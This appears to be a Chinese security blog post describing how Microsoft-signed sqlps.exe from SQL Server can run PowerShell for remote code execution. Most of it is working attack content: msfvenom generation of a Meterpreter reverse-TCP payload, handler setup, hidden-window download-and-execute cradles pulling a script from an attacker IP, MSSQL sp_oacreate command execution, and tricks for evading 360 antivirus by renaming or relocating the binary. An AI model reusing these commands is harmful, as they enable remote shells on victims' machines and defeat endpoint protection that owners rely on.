0x01 sqlps.exe简 介
sqlps.exe是SQL Server附带的一个具有Microsoft签名的二进制文件,用于加载SQL Server cmdlet,Microsoft Visual C#开发,可用ILSpy反编译查看源代码。
Microsoft SQL Server100和110是Powershell v2,120和130是Powershell v4。2016中已由SQLToolsPS.exe替换,但出于兼容性原因将包含在安装中。
C:Program Files (x86)Microsoft SQL Server100ToolsBinnsqlps.exe C:Program Files (x86)Microsoft SQL Server110ToolsBinnsqlps.exe C:Program Files (x86)Microsoft SQL Server120ToolsBinnsqlps.exe C:Program Files (x86)Microsoft SQL Server130ToolsBinnsqlps.exe C:Program Files (x86)Microsoft SQL Server140ToolsBinnsqlps.exe C:Program Files (x86)Microsoft SQL Server150ToolsBinnsqlps.exe
0x02 MSF监听并执行
使用sqlps.exe执行360.ps1后会结束掉当前这个cmd.exe命令提示符,可能要延迟几秒MSF才接收到会话信息。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -f psh-reflection > /var/www/html/360.ps1
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.120
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit
sqlps执行上线:
SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
0x03 绕过360防护执行
众所周知360和火绒对powershell.exe进程的调用监控的非常严, sqlps.exe也有可能已经被360拦截了,如下图。
已被拦截:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe'
绕过方式:
SQLPS1 -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
cmd /c SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:ProgramDataSQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.1.120/360.ps1''))"'
0x04 注意事项
实战中建议根据目标主机实际环境提取相对应版本的sqlps.exe,如单独提取出来的sqlps.exe在执行时可能会出现缺少依赖项等问题,常见的有以下两种报错。
0x05 参考链接
https://mp.weixin.qq.com/s/XkleeVDz80WZy4NZqXhEfA
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/
本文作者:潇湘信安
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/175529.html